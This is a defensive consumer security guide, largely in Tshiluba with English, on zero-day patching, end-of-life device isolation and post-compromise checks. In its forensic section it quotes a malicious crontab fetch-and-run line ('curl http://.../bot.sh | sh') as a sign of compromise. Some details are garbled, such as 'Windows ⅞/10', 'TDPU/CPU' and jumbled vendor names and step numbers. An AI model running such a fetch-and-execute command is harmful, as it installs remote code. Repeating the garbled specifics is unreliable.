Didimuija dia njiwu ya dituku dia zero, dilongolola dia malu a tshimpitshimpi, ne ditapulula dia réseau¶

Kujuka ku meyi a lukasa a malu a bukubi bua ku Enternete a kudi tshibambalu tshia malu a bukubi bua malu a ku Enternete ne a nzubu ya mudimu tshia mu États-Unis (CISA), tshibambalu tshia bukubi tshia ku Enternete tshia ditunga dia UK (NCSC), Apple, Google, anyi Microsoft badi badimuija ne: Zero-Day Vulnerability (0-Day) udi wenza mudimu bikole mu mpata (KEV) ku iPhone webe, telefone wa Android, Windows PC, Mac, Chrome browser, home/office VPN firewall, anyi Network Attached Storage (NAS) mu mashinyi, anyi kupeta ne routeur webe wa Wi-Fi wa ku nzubu, kamera ka bukubi NVR, anyi ordinatere wa kale mmufike ku Ndekelu wa muoyo (EoL / End-of-Support) ne kakupeta nansha dimo dia dilengejibua bua tshilema tshipiatshipia tshia dienza dia code wa ku bule, bidi bikengela kuenza triage diakamue. Bishilangane na mishindu ya dilongolola dia programe ya ngondo yonso, zero-day udibu benza nende mudimu udi umvuija ne: bantu badi mua kuenza mudimu ne bia mvita badi ne bia mvita bidi bienza mudimu (bu mudi zero-click iMessage/WhatsApp image parser exploit, malicious WebP/font rendering browser exploit, anyi WAN port udi kayi mujadikibue udi uluisha biamu bia mudimu ne NAS) kumpala kua ba defense kutumabu dilongolola. Musangu umue tshijadiki tshia lungenyi tshia dituku dia zero (PoC) udi mupatuka anyi mubueja mu CISA Known Exploited Vulnerabilities (KEV) Catalog, automated botnets (Mirai, Volt Typhoon, ransomware affiliates) udi utangila internet mujima wa IPv4 mu minite 15 too ne ku 45 bua kuangata tshiamu tshionso tshidi katshiyi tshilongolola tshidi tshipatuka ku Enternete.

Shi tshinyangu tshia matuku makese tshinyange bintu bia mudimu bia bukubi, nzubu ya lupitadi, anyi bintu bia mudimu bia bantu bonso, anyi tshidi tshilomba bua kukuenzela bibi, bikila nimero wa njiwu wa muaba unudi (911 mu États-Unis ne mu Canada, 112 mu matunga masanga a ku Mputu, 999 mu Royaume-Uni) anyi tangila mukanda wetu wa malu a pa buloba bujima nomba ya tshimpitshimpi diakamue. Bua bantu bonso badi basumba bintu, ba ku nzubu, ne ba midimu mikese badimuija dituku dia zero ne ndekelu wa muoyo (EoL) malu a tshimpitshimpi a bintu, enza mudimu wa dilongolola dia lukasa, dipepeja dia tshitupa tshîpi, ne mudimu wa ditapulula dia réseau udi kuinshi eku.

Enza nunku mpindieu¶

1. Enza mudimu wa tshimpitshimpi Out-of-Band (OOB) patches AND complete the full reboot / relaunch of browser immediately: Kuangata tshiamu tshia lukasa lukasa kakuena ne mushinga too ne padibu bapatula kode udi kayi ne bukole mu RAM. Pa Chrome, Edge, Brave, ne Firefox, zero-day mulongolola udi ushala mua kuenza mudimu mu lungenyi too ne paudi ufina butone bua kuulu ku dia balume "Relaunch to Update" (chrome://settings/help). Pa iOS, macOS, Windows, ne Android, enza mudimu ne tshianza ne tuadija kabidi tshiamu tshijima (tshidi kabidi tshiumusha programe ya tshimpitshimpi idi kayiyi ishala mu lungenyi).
2. Bikala zero-day kena ne tshia kuenza ("Unpatched 0-Day"), enza mudimu ne Temporary Workaround anyi Attack Surface Reduction (ASR) mukenji wa lelu: Padibu baleja bualu kampanda budi kabuyi buimpe kumpala kua kuenza tshintu kampanda, CISA ne mupanyi badi bapatula tshilumbu tshia tshitupa tshîpi (bu mudi: kuimanyika UPnP ne WAN Remote Management pa routeur, kuenza mudimu ne Apple Lockdown Mode pa iOS/macOS, kuimanyika JavaScript JIT mu Edge/Chrome, anyi kukanga TDPU/CPU ku port kampanda tshimanu tshia kapia).
3. Tangila adrese webe wa IP wa bantu bonso pa Shodan.io anyi GRC ShieldsUP mpindieu ne kanga biibi bionso bia WAN bidi bimueneka (Port Forwarding / UPnP / DMZ): Makumi asambombo pa lukama a dinyanguka dia nzubu ne dia midimu mikese didi dinyangakaja dituku dia tshianana didi dikuata biamu bidibu mua kupeta buludiludi ku Enternete wa bantu bonso (QNAP / Synology Mashinyi a NAS, ASUS / Netgear / TP-Link mabeji a balombodi ba routeur, Plex, RDP Port 3389, anyi VPN bintu bia mudimu). Buela mu routeur webe ne ukandike Remote WAN Administration, UPnP (Universal Plug and Play), ne DMZ Host diakamue kunyima kua bukubi bua biamu bia ku nzubu ne biamu bia IoT.
4. Tangila tshiamu tshieba tshia ku bianza ne routeur diakamue shi udi wela meji ne udi ne tshiamu tshia zero-click spyware anyi botnet infection: Mishindu mikole ya zero-day idibu benza nayi mudimu ku telefone ya bianza (Pegasus, Predator, Triangulation) ne SOHO routers (VPNFilter, KV Botnet) misangu ya bungi itu anu munda mua tshintu tshidi tshinyanguka RAM bua kuepuka dimueneka pa diske. Kujima tshiamu etshi, kuindila tusunsa 60, ne kutshipingaja kabidi kudi kuenzeja muntu udi uluisha bua kuenza kabidi mudimu ne tshiamu etshi (tshidi tshipangila padi tshintu tshia lukasa anyi Lockdown Mode tshienza mudimu).
5. Ela meji ne: dilongolola dia dituku dia zero kadiena diipata muntu uvua mubuele mu tshiamu tshiebe kumpala kua wewe kulongolola to: Dilongolola dia programe didi dikanga dididishi diunzulula, kadi kadiena diumusha backdoors, web shells, rogue admin accounts, anyi stolen session cookies mienza pikala muntu uvua mubuele mu tshiamu tshiebe malaba. Shi routeur webe, NAS, VPN, nansha serveur uvua mubuela mu internet padi muntu kayi mujadikibue CVSS 9.8+ zero-day uvua wenza mudimu mu mpata, tangila mikanda ya bilejilu bia dipanga dia mikenji (IoCs), ushintulule bintu bionso, ne upingaje tshiakabidi anyi wibakulule bikalabi binyanguke.
6. Kutapulula muntu yonso udi ne ndekelu wa muoyo (EoL) tshiamu tshidi katshiyi mua kupeta kabidi bintu bia bukubi pa VLAN wa benyi / IoT udi ne WAN Internet Access mukanga: Kulekedi nansha kakese ordinatere wa Windows ⅞/10 udi kayi ne mudimu, Mac wa kale udi kayi ne mudimu, Android/iPhone udi kayi wenza mudimu, anyi routeur wa Wi-Fi udi kayi wenza mudimu udi mulamakaja buludiludi ku LAN webe munene anyi ku internet mubulula to. Shi routeur wa EoL i tshiibi tshieba tshinene tshia internet, mupatule ne umupingaje diakamue.

Mutshi wa mapangadika: disungula dia malu a tshimpitshimpi bua dimanyisha dia dituku dia zero ne ndekelu wa muoyo (EoL) bintu bia mudimu¶

Londa mutshi wa mapangadika udi mulongolola dîba dionso didi dimanyisha dia lukasa dia dituku dia zero anyi dimanyisha dia ndekelu wa muoyo dinyanga programe webe anyi tshiamu tshiebe tshia mudimu:

flowchart TD
    Alert["Dimanyisha dia lukasa dia Zero-Day (0-Day) anyi CISA KEV Alert bua OS, Browser, Router anyi NAS webe"] --> PatchCheck{"1. Mupanyi mmupatule tshintu tshia bukubi tshia lukasa anyi?"}
    PatchCheck -->|"Eyowa: Tshitupa tshidiku"| Exposure{"2. Tshiamu tshieba tshivuaku tshileja ku Enternete (WAN Port Open) Kumpala kua kutshilongolola anyi?"}
    Exposure -->|"Tòo: Tshiamu tshia muena mudimu tshidi panyima pa NAT (Telefone, Laptop, Navigateur)"| Apply["Teka malu mapiamapia ku diambuluisha dia Native Settings + Full Reboot / Relaunch Browser Immediately"]
    Exposure -->|"Eyowa: Routeur wa bantu bonso, NAS, VPN, anyi Server"| Forensic["MUSHINDU WA KUENZA: Kulongolola nkayaku kakuena kuipata bantu badi baluisha to. Tangila mikanda bua kumanya ni Web Shells / Rogue Admins, Patch, Rotate Keys, anyi Factory Reset"]
    PatchCheck -->|"Tòo: Tshiamu tshia 0-Day OR tshidi katshiyi tshilongolola tshidi ku ndekelu kua muoyo (EoL)"| EoLCheck{"3. Tshiamu etshi tshidi ku ndekelu kua mudimu (EoL) anyi tshidi tshiindila bua kutshilongolola kudi muena mudimu?"}
    EoLCheck -->|"Kuindila tshitupa tshia muena mudimu (dididishi dia matuku 0 dia tshitupa tshîpi)"| Mitigate["Enza mudimu wa tshimpitshimpi: Kanga biibi bia WAN, Enza mudimu wa Apple Lockdown Mode / Windows ASR, anyi Enza mudimu udi mu njiwu"]
    EoLCheck -->|"Ndekelu wa muoyo wa kashidi (Kakuena tshitupa tshidi mua kulua to)"| Role{"4. Tshiamu tshia EoL tshidi ne mudimu kayi?"}
    Role -->|"Edge Router / Firewall / Modem"| Replace["KUTUA NE KUSHINTULULA DIAMUE (Anyi tshiamu tshia OpenWrt tshidi tshienza mudimu ne Flash pikalatshi tshikumbanangana ne tshiamu)"]
    Role -->|"PC wa kale, telefone wa kale, tshiamu tshia kupatula natshi mikanda, tshiamu tshia foto anyi NAS"| Isolate["Air-Gap anyi Move to Isolated IoT VLAN + Block Internet Access at Router Firewall"]

Kubala mukanda wa Zero-Day Advisory bu muena mudimu wa malu a bukubi (kubala CVE, CVSS, CISA KEV, ne EPSS)¶

Ki mbualu buonso budibu baleja mu bikandakanda budi bulomba bua kulekela bintu bionso pa dîba 2:00 wa dinda to. Kumvua bimanyinu bitanu bia malu a tekiniki munda mua mbulamatadi CISA, NIST NVD, anyi tshikandakanda tshia bukubi tshia muena mudimu tshidi tshikuambila mu tusunsa 30 ni udi ne tshilema tshia mu laboratware anyi kapia ka nzubu ka alarme itanu:

Tshitupa 1: Dilongolola dia tshimpitshimpi dia zero-day ne dijadika dia malu mu biamu bionso binene¶

Padi zero-day udi wenza mudimu ufika ku tshiamu tshieba tshia mudimu anyi ku tshikebelu tshieba tshia ku Enternete, kuindidi madidishi a dilongolola dia butuku (adi misangu ya bungi apangisha diteka dia bintu matuku 3 too ne ku 14). Koka ku bukole ne kujadika nomba wa dienza ku bianza:

1. Web Browsers (Google Chrome, Microsoft Edge, Brave, Firefox, Safari): The #1 Zero-Day Target¶

Bualu biamu bia ku Enternete bidi bikonkonona JavaScript udi kayi wa kueyemena (V8 / SpiderMonkey / JavaScriptCore JIT compilers), WebRTC video streams, WebGL graphics, and image formats (WebP, libvpx, FreeType) ku site yonso ne ku mamanyisha onso audi ubuela, zero-days ya browser idi ifila mamanyisha a zero-day a bungi a bantu badi basumba bintu. 1. Google Chrome: Type chrome://settings/help mu kazubu ka adrese. Chrome neatangile diakamue biamu bia mudimu bia Google ne neangate tshiamu tshia dilengeja natshi bintu. Udi ne tshia kutua pa butone bua bule bua "Relaunch" budi bumueneka, ne shi udi ne bintu bia Chrome bisokoka bidi bienda mu tshibuta tshieba tshia tshiamu, ubikanga bionso anyi utuadije kabidi ordinatere webe bua ikale ne njiwu ya kale chrome.exe binary udi mupatuka mu RAM. 2. Microsoft Edge: Mushindu edge://settings/help, windile bua diangatshila dia bintu difike ku 100%, ne tuaku pa Restart. 3. Brave Browser: Type brave://settings/help ne tuaku pa Kutuadija kabidi. 4. Mozilla Firefox: Fina pa Menu button -> Help -> About Firefox (anyi funda about:preferences#general -> ndaku ku Firefox Updates) ne tuaku pa Restart to update Firefox. 5. Apple Safari: Malu mapiamapia a Safari adi mu iOS, iPadOS, ne macOS System Updates (ne malu mapiamapia a Safari adi muinshi mua System Settings -> General -> Software Update bua macOS Sonoma/Ventura).

2. Telefone ya bianza ne tablete (Apple iOS / iPadOS ne Google Android)¶

Mobile zero-days (especially zero-click iMessage, FaceTime, WebKit, baseband modem, and Android System / Qualcomm GPU flaws) badi benza mudimu bikole kudi spyware ya bungenda (Pegasus, Predator) and targeted threat actors. - Apple iPhone & iPad (iOS / iPadOS): 1. Fungula Malu adibu balongolole -> Tshionso -> Dishintulula dia programe. 2. Ela Automatic Updates -> Security Responses & System Files (nanku Apple Rapid Security Responses / Background Security Improvements udi wenza mudimu nkayende pankatshi pa dipatuka dia iOS minene). 3. Teka tshiamu tshia iOS tshidi tshiindila diakamue, tshidi ne dijadikulula dia kernel dijima. - Matelefone a Android (Google Pixel, Samsung Galaxy, ne bikuabu): 1. Android udi bushuwa ne mishindu ibidi mishilangane ya dilengeja dia malu a bukubi iudi ne bua kutangila nkayebe: - Channel A (OS Security Patch Level): Kangula Settings -> Security & privacy -> System & updates -> Security update (ne tangila dituku: didi ne tshia kuikala mu matuku 30 to ne 60 a ndekelu). - Njila B (Google Play System Update / Project Mainline): Kangula Settings -> Security & privacy -> System & updates -> Google Play system update. Matuku a bungi a zero mu codecs ya Android, mu tshibungu tshia Wi-Fi, ne mu tshikondo tshia mudimu bidi bilongolola ku diambuluisha dia Google Play System Updates kuyi muindile dishintulula dia firmware dia ngondo yonso dia muena mudimu webe. Toneka pa Tangila bua kupeta malu mapiamapia, ela, ne Tangila kabidi mpindieu.

3. Biamu bia mudimu bia ku biro (Windows 10/11, macOS, ne Linux)¶

• Windows 10 & Windows 11:
• Open Settings (Win + I) -> Windows Update -> Check for updates.
• Tangila kabidi Windows Security -> Virus & threat protection -> Protection updates -> Check for updates (Microsoft utu utuma misangu ya bungi malu a zero-day detections ne vulnerabilities virtual-patches munda mua dituku dionso Microsoft Defender Security Intelligence definition updates meba kumpala kua patch mujima wa Windows kuikalaye mulongolola).
• Apple macOS:
• Kangula Apple Menu -> System Settings -> General -> Software Update. Tangila ne: "Teka mandamuna a bukubi ne mikanda ya tshiamu" ikale ON muinshi mua ngumu (i) button.
• Linux (Ubuntu / Debian ne RHEL / Fedora):
• Enza tshikebelu tshia lukasa tshia tshilaminu tshia bukubi ne tangila ni kernel anyi shared-library (glibc, openssl, openssh, xz, cups) restart is required:

# Ubuntu / Debian: Pull emergency patches & check if reboot/service restart is required
sudo apt update && sudo apt full-upgrade -y
cat /var/run/reboot-required 2>/dev/null || echo "No kernel reboot required"
sudo needrestart -r i 2>/dev/null

# Fedora / RHEL / Rocky / AlmaLinux: Pull emergency security advisories
sudo dnf upgrade --security --refresh -y
sudo dnf needs-restarting -r

Tshitupa 2: Malu a tshimpitshimpi padiku kakuyi tshintu tshia kulongolola (Kushala mu dididishi dia "Unpatched Zero-Day")¶

Utu wenza tshinyi padi CISA, Microsoft, Apple, anyi tshiapu tshia bukubi tshidi tshimanyisha ne: badi benza mudimu ne lutatu kampanda lua mushinga mukole mpindieu, kadi mupanyi udi wamba ne: tshiamu tshia mbulamatadi katshiakuikala tshilongolola mu matuku makuabu 3 anyi 10 to? Udi ne tshia kuenza diakamue mudimu ne Malu adi ambuluisha ne dipuekesha dia buloba bua dibunda (ASR) bua kutshibula tshisumbu tshia dienza mudimu kumpala kua kuenza mudimu:

Copy-and-Paste Script: Windows PowerShell Emergency Zero-Day Hardening (ASR Mikenji)¶

Shi Windows, Office, nansha PDF zero-day udi kayi mulongolola udi wenda mu mpata ne udi wenza mudimu ne Windows 10/11 Pro/Enterprise (anyi wenza mudimu ne Defender pa Windows Home ku diambuluisha dia registry/PowerShell), enza mudimu ne mêyi aa mu PowerShell (Run as Administrator) bua kuenza mudimu ne Microsoft Defender's core Attack Surface Reduction (ASR) mikenji mu Block mode (1):

# 1. Force an immediate emergency pull of Microsoft Defender zero-day signatures
Update-MpSignature

# 2. Enable PUA Protection, Cloud Block at High+, and Network Protection
Set-MpPreference -PUAProtection Enabled
Set-MpPreference -EnableNetworkProtection Enabled
Set-MpPreference -CloudBlockLevel HighPlus
Set-MpPreference -CloudExtendedTimeout 50

# 3. Enable Critical Attack Surface Reduction (ASR) Rules in Block Mode (Value = 1)
# Blocks Office apps from creating child processes, blocks LSASS credential theft,
# blocks untrusted/unsigned processes from USB, and blocks obfuscated scripts
$ASRGuids = @(
    "D4F940AB-401B-4EFC-AADC-AD5F3C50688A", # Block all Office applications from creating child processes
    "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2", # Block credential stealing from the Windows local security authority subsystem (lsass.exe)
    "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC", # Block execution of potentially obfuscated scripts
    "3B576869-A4EC-4529-8536-B80A7769E899", # Block Office applications from creating executable content
    "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c", # Block Adobe Reader from creating child processes
    "b2b3f03d-6a65-4f7b-a9c7-1c7ef74adc99"  # Block untrusted and unsigned processes that run from USB
)
foreach ($Guid in $ASRGuids) {
    Add-MpPreference -AttackSurfaceReductionRules_Ids $Guid -AttackSurfaceReductionRules_Actions Enabled
}

Tshitupa 3: Tshia kuenza padi tshiamu tshieba tshifika ku ndekelu kua muoyo (EoL / Ndekelu wa diambuluisha)¶

Tshintu tshionso tshia tshiamu ne tshia ordinatere tshidi tshifika ku Ndekelu wa muoyo (EoL) anyi Ndekelu wa diambuluisha (EoS), dituku didi muenji wa bintu ulekela bua kashidi kupatula bintu bia bukubi, nansha padibi bikole CVSS 10.0 malu adi kaayi makane adi amueneka. - Bua tshinyi ndekelu wa muoyo udi bualu bua tshimpitshimpi: Baluishi badi benza mudimu ne "Dishilangana dia bibidi" (BinDiff / Ghidra) pa bipese bipatula bua modele (tshilejilu, Windows 11 anyi routeur mupiamupia wa 2025 TP-Link) bua kushintulula tshinyangu tshilelela, ne pashishe diakamue kuenza mudimu ne modele ya ku ndekelu kua muoyo (bu mudi Windows ⅞/Windows 10 udi kayi mufundisha, macOS wa kale, anyi routeur wa kale wa 5) kode wa kale wa muomumue kadi kena mua kupeta tshintu tshia kukumbaja ("Forever-Day Exploits").

Ndekelu wa muoyo wa 4-Tier (EoL) Ditapulula dia bintu ne dipingaja dia bintu¶

Ingidija dipangadika edi bua kuenza mudimu ne tshiamu tshionso tshia End-of-Life mu nzubu muebe anyi mu biro biebe kuyi mu njiwu ya dinyanguka dia réseau mujima:

How to Lock an End-of-Life (EoL) Tshiamu tshia kupatula natshi mikanda, tshiamu tshia foto, anyi NAS Munda mua "Buloko budi kabuyi ne Enternete" pa Routeur webe¶

Shi udi na tshiamu tshia kale tshia kupatula natshi mikanda, tshiamu tshia televizion tshia meji, tshiamu tshia IP tshia bukubi, anyi tshiamu tshia NAS tshia kale tshidi tshienza mudimu bimpe pa tshiamu tshiebe tshia ku nzubu (LAN).WAN): 1. Buela mu tshiamu tshieba tshia Wi-Fi tshia kumpala. 2. Enda ku LAN Settings / DHCP Server -> Static DHCP Lease (Address Reservation) ne upeshe tshiamu tshia EoL MAC Address adrese wa IP wa kashidi (tshilejilu, 192.168.1.240). 3. Enda ku Firewall / Parental Controls / Access Control / Traffic Rules mu mishindu ya routeur webe: - Enza mukenji bua 192.168.1.240 (anyi MAC Address) udi muteka pa Kukanga Internet (WAN) yonso (Outbound & Inbound WAN = DROP/REJECT). - Nansha nanku, munda mua tshiamu tshia EoL tshidi tshienza mudimu ku bianza, teka Static IP wende pa 192.168.1.240, Subnet Mask to 255.255.255.0, ne lekela Default Gateway ne DNS Server miaba idi kayiyi ne tshintu (anyi teka Default Gateway ku IP udi kayiku bu mudi 192.168.1.254). Padiku kakuyi tshiibi tshia Default tshidi tshikumbane, tshiamu tshia EoL anyi tshiamu tshia foto tshidi mua kupatula anyi kutuma ku ordinatere ya muaba unudi 192.168.1.x subnet, kadi kena mua kutuma mapakete ku internet anyi kufika ku internet to.

Tshitupa 4: Dikonkonona dia malu a tshilumbu tshia panyima pa dienza dia mudimu bibi pikala tshiamu tshieba tshipatuke kumpala kua wewe kutshilongolola¶

Padi CVSS 9.8+ zero-day udi kayi mujadika udi unyanga tshiamu tshidi tshitangile ku Enternete (bu mudi tshiamu tshia ku nzubu anyi tshia mudimu mukese, tshiibi tshia VPN, QNAP / Synology NAS, Plex media server, anyi port-forwarded desktop), kuenza mudimu ne tshiamu tshia mudimu tshia muena mudimu kudi anu kukanga tshiibi tshia kumpala. Shi scanner udi wenza mudimu nkayende mukuate adrese webe wa IP wa bantu bonso kumpala kua wewe kulongolola, muena tshinyangu udi mua kuikala muele tshiibi tshia panyima tshidi katshiyi tshijika tshidi tshishala ne muoyo padibu bapingaja tshiakabidi. Enza 4-step post-patch forensic audit:

1. Tangila bua kumanya ni kudi konte ya balombodi badi kabayi banyishibue ne ya SSH:
2. Kangula tshibuelelu tshia Bena mudimu / Balombodi pa NAS, routeur anyi ordinatere webe ne ujadike ne: kakuena konte ya balombodi badi kabayi bamanye to (bu mudi support, admin2, backup, anyi system) bavua bafukibue mu tshikondo tshia zero-day.
3. Pa Linux/macOS/NAS, tangila -/.ssh/authorized_keys ne /root/.ssh/authorized_keys bua kujadika ne kakuena tshifungu tshia SSH tshia patoke tshidi tshibueja to.
4. Audit Active Outbound Network Connections (netstat / Router Traffic Monitor) ne DNS Settings:
5. Biamu bia SOHO ne biamu bia NAS bidi binyanguka bitu misangu ya bungi ne Primary ne Secondary WAN DNS Servers bikuata bua kuleja adrese wa IP mubi, anyi kulama dipetangana dia shell / botnet didi kadiyi dijika (SOCKS5 proxy anyi Tor relay).
6. Buela mu WAN / Internet Settings wa routeur webe ne ujadike ne: DNS mmulongolola ku ISP webe anyi ku tshijadiki tshia public resolver (1.1.1.1, 8.8.8.8, anyi 9.9.9.9).
7. Tangila cron Midimu, script ya ntuadijilu, ne mikanda ya miji ya Web bua Web Shells:
8. Bienzedi bia zero-day ku biamu bia mudimu bidi bilombodibua ku Enternete bitu misangu yonso bipueka kakese .php, .jsp, .aspx, anyi .cgi web shell mu tshilaminu tshia tshiamu tshia ku Enternete anyi kuela tshintu tshidi katshiyi tshijika crontab download-and-execute line (curl http://.../bot.sh | sh).
9. Shi routeur webe nansha NAS ileja mudimu mukola wa CPU, divulangana dia mashinyi adi apatuka, anyi binaries ya systeme mishintuluke kunyima kua didimuija dia dituku dia zero, kueyemenyi anu dishintulula dia firmware nkayende: enza backup ya malu ebe a muena mudimu (anu foto ne mikanda, nansha kakese backups ya configuration idi mua kuikala ne malu a muena mudimu udi wenza mudimu wa dibunda), udi wenza mudimu muimpe ** Reset**, ela tshianza tshia tshiamu tshia mudimu tshipiatshipia tshia ordinatere mukezuke, ne ela mot de passe mupiamupia wa mulombodi ne ntete mipiamipia ya MFA.
10. Kushintulula malu onso adibu balame anyi adibu bapitshishe ku tshiamu tshidi katshiyi ne bukole:
11. Shi tshiamu tshia VPN, routeur, anyi NAS bivua binyanguke kumpala kua dilongolola, meyi a tshisokomenu onso, meyi a SMB, mishindu ya API ya dilama dia bintu mu matutu (AWS S3, Backblaze B2, Wasabi), anyi SSL/TLS private keys milama pa tshiamu atshi idi ne tshia kujimijibua ne kupingajibua diakamue.

Nkonko itubu bela misangu ya bungi¶

Kuteka tshiamu tshia zero-day patch kudiku kumbusha bena tshinyangu pikala tshiamu tshianyi tshikale tshienzedibue bibi kumpala kua meme kutshilongolola anyi?¶

Tòo. Tshiamu tshia bukubi tshia programe tshidi anu tshilongolola tshilema tshidi muinshi mua kode nunku mateta a kuenza nawu mudimu mu matuku atshilualua adi apanga; kena wipata muena tshinyangu uvua mumane kuenza mudimu ne bubi kumpala kua kumulongolola ne muteke tshibuikidiji tshia ku Enternete tshidi katshiyi tshijika, tshiibi tshia panyima, mudimu mulongolola, anyi konte wa mulombodi wa tshinyangu to, kabidi kena unyanga cookies anyi meyi a tshisokomenu adibu bibe kale to. Shi tshiamu tshieba tshivua tshileja buludiludi ku Enternete wa bantu bonso (bu mudi: routeur, NAS, tshiamu tshia VPN, anyi tshiamu tshia mudimu tshia bantu bonso) pavua zero-day kayi mujadikibue wenza mudimu mu mpata, udi ne bua kutangila mikanda ya tshiamu tshia ordinatere bua kumanya ni bidi bileja ne: kudi malu adi kaayi malelela (IoCs), kushintulula mêyi onso a tshisokomenu ne tufungu tua SSH/API, ne kuenza mudimu wa dilongolola anyi dipingaja dia OS pikalabi kabiyi bijadikibue occurred.

Mmunyi mundi mua kujadika ni routeur wanyi wa Wi-Fi anyi ordinatere mmufike ku ndekelu kua muoyo (EoL)?¶

Tangila tshimanyishilu tshia muenji tshidi kuinshi kua tshiamu tshieba tshia routeur (funda nomba wa tshilejelu ne dishintulula dia tshiamu, bu mudi v1, v2, anyi v4) ne tangila dibeji dia ku Enternete dia muenji wa bintu bia ku ndekelu kua muoyo / ku ndekelu kua mudimu (mupatula kudi ASUS, Netgear, TP-Link, Linkys, D-Link, ne D-Link QNAP), anyi tangila tshilaminu tshia malu a bena mu tshisumbu tshia endoflife.date bua kupeta biamu bia mudimu, telefone ne programe ya ordinatere. Kabidi, buela mu tshibuelelu tshia programe wa routeur webe: bikala dituku dia programe wa lelu udiku dipite pa ngondo 18 anyi 24, angata routeur bu de facto End-of-Life ne umupingaje anyi upingaje OpenWrt firmware udi ne flash.

Ndi mua kuenza bua ordinatere wa Windows 10 anyi Mac wa kale ikale mu bukubi tshiyi musumbe ordinatere mupiamupia anyi?¶

Eyowa. Padi Microsoft ujikija diambuluisha dia tshianana dia bukubi bua bantu badi basumba bintu bua version wa Windows anyi Apple ulekela Intel wa kale anyi modele wa Mac wa kale ku macOS, bintu bia ordinatere bidi bimpe; anu tshiamu tshia mudimu tshidi ne ndekelu wa muoyo. Ubwanya kufundija ordinatere wa Windows 10 mu program wa Microsoft wa Extended Security Updates (ESU), nansha kulama mikanda yebe ne kuteka tshiamu tshia mudimu tshia Linux tshia matuku etu aa, tshidibu balongolole bimpe, tshia tshianana bu mudi Linux Mint, Ubuntu LTS, Fedora, anyi Google ChromeOS Flex ku diambuluisha dia tshiamu tshia USB, tshidi tshipesha laptop webe udiku bidimu bikuabu bia bidimu 5 too ne ku 8 bia kernel ne zero malu a bukubi a tshikebelu.

Miaba mifumina¶

• Tshibambalu tshia bukubi bua ku Enternete ne tshia bintu bia mudimu (CISA, États-Unis): Malu adibu bamanye adibu benze nawu mudimu (KEV) Catalog, Binding Operational Directive BOD 22-01 (Kukepesha njiwu minene ya malu adibu bamanye adibu benze nawu mudimu), ne BOD 23-02 (Kupepeja njiwu ya ku Enternete).
• Biro bia makebulula bia mbulamatadi (FBI), Tshibambalu tshia bukubi bua ditunga (NSA), & UK National Cyber Security Centre (NCSC): Difila dia mibelu ya malu a bukubi bua ku Enternete bua kujikija dinyanguka dia Botnet ku ndekelu kua muoyo (EoL) SOHO Routers, Firewalls, and VPN Appliances.
• Tshilongelu tshia ditunga tshia mikenji ne bia mudimu (NIST, États-Unis): SP 800-40 Rev. 4, Guide to Enterprise Patch Management Planning: Preventive Maintenance for Technology.
• Apple Platform Security & Citizen Lab (University of Toronto): iOS / macOS Lockdown Mode Architecture and Rapid Security Response Zero-Click Spyware Mitigation Guidelines.
• Microsoft Security Response Center (MSRC): Microsoft Defender Attack Surface Reduction (ASR) Tshimanyinu tshia dituma dia Zero-Day Mitigation ne Out-of-Band (OOB) Security Update Guidance.

Malu adi apetangana¶

• Kulama biamu bia ku nzubu, televizion ya meji, ne biamu bia IoT
• Diumusha dia bintu bibi, ransomware, ne spyware
• Stalkerware, spyware, ne keylogger detection mu telefone
• Diandamuna dia dishipa dia mikenji, meyi a tshisokomenu adi mapatuke, ne dikanga dia mfranga
• Nomba ya njiwu bilondeshile ditunga